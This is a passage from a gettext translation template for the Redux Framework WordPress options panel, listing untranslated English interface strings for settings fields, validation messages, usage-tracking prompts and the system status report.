with your action. Please try again or reload the page." msgstr "" #: ReduxCore/core/panel.php:65 msgid "Warning- This options panel will not work properly without javascript!" msgstr "" #: ReduxCore/core/panel.php:141 msgid "Settings Imported!" msgstr "" #: ReduxCore/core/panel.php:156 msgid "All Defaults Restored!" msgstr "" #: ReduxCore/core/panel.php:170 msgid "Section Defaults Restored!" msgstr "" #: ReduxCore/core/panel.php:184 msgid "Settings Saved!" msgstr "" #: ReduxCore/core/panel.php:204 msgid "Settings have changed, you should save them!" msgstr "" #: ReduxCore/core/panel.php:212 msgid "error(s) were found!" msgstr "" #: ReduxCore/core/panel.php:220 msgid "warning(s) were found!" msgstr "" #: ReduxCore/core/panel.php:340 msgid "" "Your panel has bundled outdated copies of Redux Framework template " "files – if you encounter functionality issues this could be " "the reason. Ensure you update or remove them." msgstr "" #: ReduxCore/framework.php:220 msgid "Options panel created using %1$s" msgstr "" #. Plugin Name of the plugin/theme msgid "Redux Framework" msgstr "" #: ReduxCore/framework.php:224 ReduxCore/framework.php:228 msgid "Options" msgstr "" #: ReduxCore/framework.php:1389 #: ReduxCore/templates/panel/menu_container.tpl.php:63 msgid "System Info" msgstr "" #: ReduxCore/framework.php:1692 msgid "Enable" msgstr "" #: ReduxCore/framework.php:1697 msgid "Disable" msgstr "" #: ReduxCore/framework.php:1703 msgid "moving the mouse over" msgstr "" #: ReduxCore/framework.php:1705 msgid "clicking" msgstr "" #: ReduxCore/framework.php:1709 msgid "" "Hints are tooltips that popup when %d the hint icon, offering addition " "information about the field in which they appear. They can be %d d by " "using the link below." msgstr "" #: ReduxCore/framework.php:1714 msgid "Hints" msgstr "" #: ReduxCore/framework.php:1841 msgid "Default" msgstr "" #: ReduxCore/framework.php:2680 msgid "Invalid security credential, please reload the page and try again." msgstr "" #: ReduxCore/framework.php:2766 msgid "Your panel has no fields. Nothing to save." msgstr "" #: ReduxCore/inc/class.redux_filesystem.php:23 msgid "Unable to modify required files. Please ensure that" msgstr "" #: ReduxCore/inc/class.redux_filesystem.php:25 msgid "has the proper read/write permissions or enter your FTP information below." msgstr "" #: ReduxCore/inc/class.redux_functions.php:237 msgid "Dismiss" msgstr "" #: ReduxCore/inc/class.redux_helpers.php:589 msgid "" "%s version %s is out of " "date. The core version is %s" msgstr "" #: ReduxCore/inc/class.redux_themecheck.php:61 msgid "" "The theme you are testing has %s embedded. We invite you to read the " "%sTheme-Check Documentation%s to understand some warnings you will see " "because of Redux." msgstr "" #: ReduxCore/inc/class.redux_themecheck.php:109 msgid "" "The following directories & files are still located in your " "Redux directory. They may cause errors in Theme-Check." msgstr "" #: ReduxCore/inc/debug.php:41 ReduxCore/inc/debug.php:69 #: ReduxCore/inc/debug.php:76 ReduxCore/inc/debug.php:77 msgid "Options Object" msgstr "" #: ReduxCore/inc/debug.php:54 msgid "Show Object in Javascript Console Object" msgstr "" #: ReduxCore/inc/extensions/customizer/extension_customizer.php:601 msgid "You have changes that are not saved. Would you like to save them now?" msgstr "" #: ReduxCore/inc/extensions/customizer/extension_customizer.php:602 msgid "Are you sure? Resetting will lose all custom values." msgstr "" #: ReduxCore/inc/extensions/customizer/extension_customizer.php:603 msgid "" "Your current options will be replaced with the values of this preset. " "Would you like to proceed?" msgstr "" #: ReduxCore/inc/extensions/import_export/extension_import_export.php:120 msgid "Import / Export" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:103 msgid "Import Options" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:104 msgid "Import from File" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:104 msgid "Import from URL" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:107 msgid "" "Input your backup file below and hit Import to restore your sites options " "from a backup." msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:112 msgid "" "Input the URL to another sites options set and hit Import to load the " "options from that site." msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:116 msgid "Import" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:116 msgid "" "WARNING! This will overwrite all existing option values, please proceed " "with caution!" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:119 msgid "Export Options" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:121 msgid "" "Here you can copy/download your current option settings. Keep this safe as " "you can use it as a backup should anything go wrong, or you can use it to " "restore your settings on this site (or any other site)." msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:126 msgid "Copy Data" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:126 msgid "Download Data File" msgstr "" #: ReduxCore/inc/extensions/import_export/import_export/field_import_export.php:126 msgid "Copy Export URL" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:124 #: ReduxCore/inc/fields/color/field_color.php:73 #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:79 #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:91 msgid "Transparent" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:141 msgid "Background Repeat" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:157 msgid "Background Clip" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:173 msgid "Background Origin" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:188 msgid "Background Size" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:203 msgid "Background Attachment" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:223 msgid "Background Position" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:277 #: ReduxCore/inc/fields/media/field_media.php:149 msgid "No media selected" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:314 #: ReduxCore/inc/fields/media/field_media.php:198 #: ReduxCore/inc/fields/slides/field_slides.php:126 #: ReduxCore/inc/fields/slides/field_slides.php:188 msgid "Upload" msgstr "" #: ReduxCore/inc/fields/background/field_background.php:321 #: ReduxCore/inc/fields/media/field_media.php:205 #: ReduxCore/inc/fields/multi_text/field_multi_text.php:69 #: ReduxCore/inc/fields/multi_text/field_multi_text.php:73 #: ReduxCore/inc/fields/multi_text/field_multi_text.php:76 #: ReduxCore/inc/fields/slides/field_slides.php:133 #: ReduxCore/inc/fields/slides/field_slides.php:190 msgid "Remove" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:125 #: ReduxCore/inc/fields/spacing/field_spacing.php:191 msgid "All" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:138 #: ReduxCore/inc/fields/spacing/field_spacing.php:215 msgid "Top" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:145 #: ReduxCore/inc/fields/spacing/field_spacing.php:222 msgid "Right" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:152 #: ReduxCore/inc/fields/spacing/field_spacing.php:229 msgid "Bottom" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:159 #: ReduxCore/inc/fields/spacing/field_spacing.php:236 msgid "Left" msgstr "" #: ReduxCore/inc/fields/border/field_border.php:173 msgid "Border style" msgstr "" #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:68 msgid "From " msgstr "" #: ReduxCore/inc/fields/color_gradient/field_color_gradient.php:82 msgid "To " msgstr "" #: ReduxCore/inc/fields/dimensions/field_dimensions.php:162 msgid "Width" msgstr "" #: ReduxCore/inc/fields/dimensions/field_dimensions.php:178 #: ReduxCore/inc/fields/typography/field_typography.php:442 msgid "Height" msgstr "" #: ReduxCore/inc/fields/dimensions/field_dimensions.php:189 #: ReduxCore/inc/fields/dimensions/field_dimensions.php:190 #: ReduxCore/inc/fields/spacing/field_spacing.php:245 #: ReduxCore/inc/fields/spacing/field_spacing.php:246 msgid "Units" msgstr "" #: ReduxCore/inc/fields/gallery/field_gallery.php:73 msgid "Add/Edit Gallery" msgstr "" #: ReduxCore/inc/fields/gallery/field_gallery.php:74 msgid "Clear Gallery" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:87 msgid "Regular" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:91 msgid "Hover" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:95 msgid "Visited" msgstr "" #: ReduxCore/inc/fields/link_color/field_link_color.php:99 msgid "Active" msgstr "" #: ReduxCore/inc/fields/multi_text/field_multi_text.php:61 msgid "Add More" msgstr "" #: ReduxCore/inc/fields/password/field_password.php:62 msgid "Password" msgstr "" #: ReduxCore/inc/fields/password/field_password.php:63 msgid "Username" msgstr "" #: ReduxCore/inc/fields/select/field_select.php:83 #: ReduxCore/inc/fields/select_image/field_select_image.php:63 msgid "Select an item" msgstr "" #: ReduxCore/inc/fields/select/field_select.php:134 #: ReduxCore/inc/fields/select_image/field_select_image.php:144 msgid "No items of this type were found." msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:68 msgid "Slide" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:73 #: ReduxCore/inc/fields/slides/field_slides.php:174 msgid "New %s" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:145 #: ReduxCore/inc/fields/slides/field_slides.php:200 msgid "Title" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:149 #: ReduxCore/inc/fields/slides/field_slides.php:204 msgid "Description" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:153 #: ReduxCore/inc/fields/slides/field_slides.php:207 msgid "URL" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:167 #: ReduxCore/inc/fields/slides/field_slides.php:220 msgid "Delete" msgstr "" #: ReduxCore/inc/fields/slides/field_slides.php:223 msgid "Add %s" msgstr "" #: ReduxCore/inc/fields/switch/field_switch.php:41 msgid "On" msgstr "" #: ReduxCore/inc/fields/switch/field_switch.php:44 msgid "Off" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:231 msgid "Font Family" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:232 msgid "Font family" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:258 #: ReduxCore/inc/fields/typography/field_typography.php:259 msgid "Backup Font Family" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:273 #: ReduxCore/inc/fields/typography/field_typography.php:281 msgid "Font style" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:274 msgid "Font Weight & Style" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:281 msgid "Style" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:321 msgid "Font subsets" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:323 msgid "Font Subsets" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:325 msgid "Subsets" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:325 msgid "Font script" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:342 #: ReduxCore/inc/fields/typography/field_typography.php:343 #: ReduxCore/inc/fields/typography/field_typography.php:344 msgid "Text Align" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:365 #: ReduxCore/inc/fields/typography/field_typography.php:366 #: ReduxCore/inc/fields/typography/field_typography.php:367 msgid "Text Transform" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:388 #: ReduxCore/inc/fields/typography/field_typography.php:389 #: ReduxCore/inc/fields/typography/field_typography.php:390 msgid "Font Variant" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:408 #: ReduxCore/inc/fields/typography/field_typography.php:409 #: ReduxCore/inc/fields/typography/field_typography.php:410 msgid "Text Decoration" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:432 #: ReduxCore/inc/fields/typography/field_typography.php:433 msgid "Font Size" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:433 msgid "Size" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:441 #: ReduxCore/inc/fields/typography/field_typography.php:442 msgid "Line Height" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:450 #: ReduxCore/inc/fields/typography/field_typography.php:451 msgid "Word Spacing" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:459 #: ReduxCore/inc/fields/typography/field_typography.php:460 msgid "Letter Spacing" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:478 msgid "Font Color" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:480 msgid "Font color" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:879 msgid "Standard Fonts" msgstr "" #: ReduxCore/inc/fields/typography/field_typography.php:980 msgid "Google Webfonts" msgstr "" #: ReduxCore/inc/tracking.php:129 msgid "Help improve Our Panel" msgstr "" #: ReduxCore/inc/tracking.php:130 msgid "" "Please helps us improve our panel by allowing us to gather anonymous usage " "stats so we know which configurations, plugins and themes to test to ensure " "compatibility." msgstr "" #: ReduxCore/inc/tracking.php:135 msgid "Allow tracking" msgstr "" #: ReduxCore/inc/tracking.php:140 msgid "Do not allow tracking" msgstr "" #: ReduxCore/inc/tracking.php:151 msgid "Welcome to the Redux Demo Panel" msgstr "" #: ReduxCore/inc/tracking.php:152 msgid "Getting Started" msgstr "" #: ReduxCore/inc/tracking.php:152 msgid "" "This panel demonstrates the many features of Redux. Before digging in, we " "suggest you get up to speed by reviewing %1$s." msgstr "" #: ReduxCore/inc/tracking.php:152 msgid "our documentation" msgstr "" #: ReduxCore/inc/tracking.php:153 msgid "Redux Generator" msgstr "" #: ReduxCore/inc/tracking.php:153 msgid "" "Want to get a head start? Use the %1$s. It will create a customized " "boilerplate theme or a standalone admin folder complete with all things " "Redux (with the help of Underscores and TGM). Save yourself a headache and " "try it today." msgstr "" #: ReduxCore/inc/tracking.php:154 ReduxCore/inc/welcome/welcome.php:214 msgid "Redux Extensions" msgstr "" #: ReduxCore/inc/tracking.php:154 msgid "" "Did you know we have extensions, which greatly enhance the features of " "Redux? Visit our %1$s to learn more!" msgstr "" #: ReduxCore/inc/tracking.php:154 msgid "extensions directory" msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "Like Redux?" msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "" "If so, please %1$s and consider making a %2$s to keep development of Redux " "moving forward." msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "leave us a favorable review on WordPress.org" msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "donation" msgstr "" #: ReduxCore/inc/tracking.php:156 msgid "Newsletter" msgstr "" #: ReduxCore/inc/tracking.php:156 msgid "" "If you'd like to keep up to with all things Redux, please subscribe to our " "newsletter" msgstr "" #: ReduxCore/inc/tracking.php:157 msgid "Email address" msgstr "" #: ReduxCore/inc/tracking.php:157 msgid "Subscribe" msgstr "" #: ReduxCore/inc/tracking.php:166 msgid "Close" msgstr "" #: ReduxCore/inc/validation/color/validation_color.php:15 #: ReduxCore/inc/validation/color_rgba/validation_color_rgba.php:14 #: ReduxCore/inc/validation/colorrgba/validation_colorrgba.php:16 msgid "This field must be a valid color value." msgstr "" #: ReduxCore/inc/validation/comma_numeric/validation_comma_numeric.php:16 msgid "You must provide a comma separated list of numerical values for this option." msgstr "" #: ReduxCore/inc/validation/css/validation_css.php:38 msgid "Unsafe strings were found in your CSS and have been filtered out." msgstr "" #: ReduxCore/inc/validation/date/validation_date.php:16 msgid "This field must be a valid date." msgstr "" #: ReduxCore/inc/validation/email/validation_email.php:16 #: ReduxCore/inc/validation/email_not_empty/validation_email_not_empty.php:16 msgid "You must provide a valid email for this option." msgstr "" #: ReduxCore/inc/validation/no_html/validation_no_html.php:15 msgid "You must not enter any HTML in this field, all HTML tags have been removed." msgstr "" #: ReduxCore/inc/validation/no_special_chars/validation_no_special_chars.php:16 msgid "" "You must not enter any special characters in this field, all special " "characters have been removed." msgstr "" #: ReduxCore/inc/validation/not_empty/validation_not_empty.php:16 msgid "This field cannot be empty. Please provide a value." msgstr "" #: ReduxCore/inc/validation/numeric/validation_numeric.php:16 #: ReduxCore/inc/validation/numeric_not_empty/validation_numeric_not_empty.php:16 msgid "You must provide a numerical value for this option." msgstr "" #: ReduxCore/inc/validation/unique_slug/validation_unique_slug.php:16 msgid "" "That URL slug is in use, please choose another. %s is open for " "use." msgstr "" #: ReduxCore/inc/validation/url/validation_url.php:16 msgid "You must provide a valid URL for this option." msgstr "" #: ReduxCore/inc/welcome/views/about.php:2 msgid "Welcome to Redux Framework %s" msgstr "" #: ReduxCore/inc/welcome/views/about.php:5 msgid "" "Thank you for updating to the latest version! Redux Framework %s is a huge " "step forward in Redux Development. Look at all that's new." msgstr "" #: ReduxCore/inc/welcome/views/about.php:8 #: ReduxCore/inc/welcome/views/changelog.php:8 #: ReduxCore/inc/welcome/views/credits.php:8 #: ReduxCore/inc/welcome/views/extensions.php:82 #: ReduxCore/inc/welcome/views/status_report.php:31 #: ReduxCore/inc/welcome/views/support.php:8 msgid "Version %s" msgstr "" #: ReduxCore/inc/welcome/views/about.php:15 msgid "What is Redux Framework?" msgstr "" #: ReduxCore/inc/welcome/views/about.php:17 msgid "" "Redux Framework is the core of many products on the web. It is an option " "framework which developers use to\n" " enhance their products." msgstr "" #: ReduxCore/inc/welcome/views/about.php:22 msgid "Learn More" msgstr "" #: ReduxCore/inc/welcome/views/about.php:28 msgid "New in this Release" msgstr "" #: ReduxCore/inc/welcome/views/changelog.php:2 msgid "Redux Framework - Changelog" msgstr "" #: ReduxCore/inc/welcome/views/changelog.php:5 #: ReduxCore/inc/welcome/views/status_report.php:28 msgid "" "Our core mantra at Redux is backwards compatibility. With hundreds of " "thousands of instances worldwide, you can be assured that we will take care " "of you and your clients." msgstr "" #: ReduxCore/inc/welcome/views/credits.php:2 msgid "Redux Framework - A Community Effort" msgstr "" #: ReduxCore/inc/welcome/views/credits.php:5 msgid "" "We recognize we are nothing without our community. We would like to thank " "all of those who help Redux to be what it is. Thank you for your " "involvement." msgstr "" #: ReduxCore/inc/welcome/views/credits.php:14 msgid "" "Redux is created by a community of developers world wide. Want to have your " "name listed too? Contribute to Redux." msgstr "" #: ReduxCore/inc/welcome/views/extensions.php:76 msgid "Redux Framework - Extensions" msgstr "" #: ReduxCore/inc/welcome/views/extensions.php:79 msgid "" "Supercharge your Redux experience. Our extensions provide you with features " "that will take your products to the next level." msgstr "" #: ReduxCore/inc/welcome/views/extensions.php:88 msgid "" "While some are built specificially for developers, extensions such as " "Custom Fonts are sure to make any user happy." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:25 msgid "Redux Framework - System Status" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:38 msgid "" "Please copy and paste this information in your ticket when contacting " "support:" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:41 msgid "Get System Report" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:44 msgid "Understanding the Status Report" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:51 msgid "Copied!" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:51 msgid "Copy for Support" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:60 msgid "WordPress Environment" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:65 msgid "Home URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:66 msgid "The URL of your site's homepage." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:70 msgid "Site URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:71 msgid "The root URL of your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:75 msgid "Redux Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:76 msgid "The version of Redux Framework installed on your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:80 msgid "Redux Data Directory Writable" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:83 msgid "" "Redux and its extensions write data to the uploads directory. " "This directory must be writable." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:88 msgid "To allow data saving, make %s writable." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:93 msgid "WP Content URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:96 msgid "The location of Wordpress's content URL." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:102 msgid "WP Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:103 msgid "The version of WordPress installed on your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:107 msgid "WP Multisite" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:108 msgid "Whether or not you have WordPress Multisite enabled." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:116 msgid "Permalink Structure" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:117 msgid "" "The current permalink structure as defined in Wordpress " "Settings->Permalinks." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:122 msgid "Front Page Display" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:123 msgid "The current Reading mode of Wordpress." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:131 msgid "Front Page" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:132 msgid "The currently selected page which acts as the site's Front Page." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:136 msgid "Posts Page" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:137 msgid "The currently selected page in where blog posts are displayed." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:144 msgid "WP Memory Limit" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:145 msgid "The maximum amount of memory (RAM) that your site can use at one time." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:150 msgid "" "%s - We recommend setting memory to at least 40MB. See: Increasing memory allocated to PHP" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:157 msgid "Database Table Prefix" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:159 msgid "The prefix structure of the current Wordpress database." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:163 msgid "WP Debug Mode" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:164 msgid "Displays whether or not WordPress is in Debug Mode." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:172 msgid "Language" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:173 msgid "The current language used by WordPress. Default = English" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:181 msgid "Browser" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:186 msgid "Browser Info" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:187 msgid "Information about web browser current in use." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:202 msgid "Server Environment" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:207 msgid "Server Info" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:208 msgid "Information about the web server that is currently hosting your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:212 msgid "Localhost Environment" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:213 msgid "Is the server running in a localhost environment." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:223 msgid "PHP Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:224 msgid "The version of PHP installed on your hosting server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:228 msgid "ABSPATH" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:229 msgid "The ABSPATH variable on the server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:235 msgid "PHP Memory Limit" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:236 #: ReduxCore/inc/welcome/views/status_report.php:241 msgid "The largest filesize that can be contained in one post." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:240 msgid "PHP Post Max Size" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:245 msgid "PHP Time Limit" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:246 msgid "" "The amount of time (in seconds) that your site will spend on a single " "operation before timing out (to avoid server lockups)" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:250 msgid "PHP Max Input Vars" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:251 msgid "" "The maximum number of variables your server can use for a single function " "to avoid overloads." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:255 msgid "PHP Display Errors" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:256 msgid "Determines if PHP will display errors within the browser." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:267 msgid "SUHOSIN Installed" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:268 msgid "" "Suhosin is an advanced protection system for PHP installations. It was " "designed to protect your servers on the one hand against a number of well " "known problems in PHP applications and on the other hand against potential " "unknown vulnerabilities within these applications or the PHP core itself. " "If enabled on your server, Suhosin may need to be configured to increase " "its data submission limits." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:277 msgid "MySQL Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:278 msgid "The version of MySQL installed on your hosting server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:282 msgid "Max Upload Size" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:283 msgid "The largest filesize that can be uploaded to your WordPress installation." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:287 msgid "Default Timezone is UTC" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:290 msgid "The default timezone for your server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:293 msgid "Default timezone is %s - it should be UTC" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:304 msgid "Used when communicating with remote services with PHP." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:310 msgid "" "Your server does not have fsockopen or cURL enabled - cURL is used to " "communicate with other servers. Please contact your hosting provider." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:349 msgid "Remote Post" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:350 msgid "Used to send data to remote servers." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:355 msgid "" "wp_remote_post() failed. Many advanced features may not function. Contact " "your hosting provider." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:358 #: ReduxCore/inc/welcome/views/status_report.php:373 msgid "Error: %s" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:365 msgid "Remote Get" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:366 msgid "Used to grab information from remote servers for updates updates." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:371 msgid "" "wp_remote_get() failed. This is needed to get information from remote " "servers. Contact your hosting provider." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:405 msgid "Active Plugins" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:421 msgid "Visit plugin homepage" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:445 msgid "Redux Instance: " msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:452 msgid "The opt_name argument for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:460 msgid "The global_variable argument for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:468 msgid "Indicates if developer mode is enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:473 msgid "Indicates if ajax based saving is enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:478 msgid "" "The page slug denotes the string used for the options panel page for this " "instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:483 msgid "" "The page permissions variable sets the permission level required to access " "the options panel for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:488 msgid "" "This variable set whether or not the menu is displayed as an admin menu " "item for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:493 msgid "" "The page parent variable sets where the options menu will be placed on the " "WordPress admin sidebar for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:499 msgid "Indicates if the compiler flag is enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:504 msgid "" "Indicates if output flag for globally shutting off all CSS output is " "enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:509 msgid "" "The output_tag variable sets whether or not dynamic CSS will be generated " "for the customizer and Google fonts for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:518 msgid "" "The specified template path containing custom template files for this " "instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:523 msgid "List of template files overriding the default Redux template files." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:546 msgid "Indicates the installed Redux extensions and their version numbers." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:577 msgid "Theme" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:582 msgid "Name" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:583 msgid "The name of the current active theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:587 msgid "Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:588 msgid "The installed version of the current active theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:593 msgid "is available" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:598 msgid "Author URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:599 msgid "The theme developers URL." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:603 msgid "Child Theme" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:604 msgid "Displays whether or not the current theme is a child theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:606 msgid "" "If you're modifying Redux Framework or a parent theme you didn't build " "personally, we recommend using a child theme. See: How to create a child theme" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:614 msgid "Parent Theme Name" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:616 msgid "The name of the parent theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:620 msgid "Parent Theme Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:623 msgid "The installed version of the parent theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:627 msgid "Parent Theme Author URL" msgstr "" #: 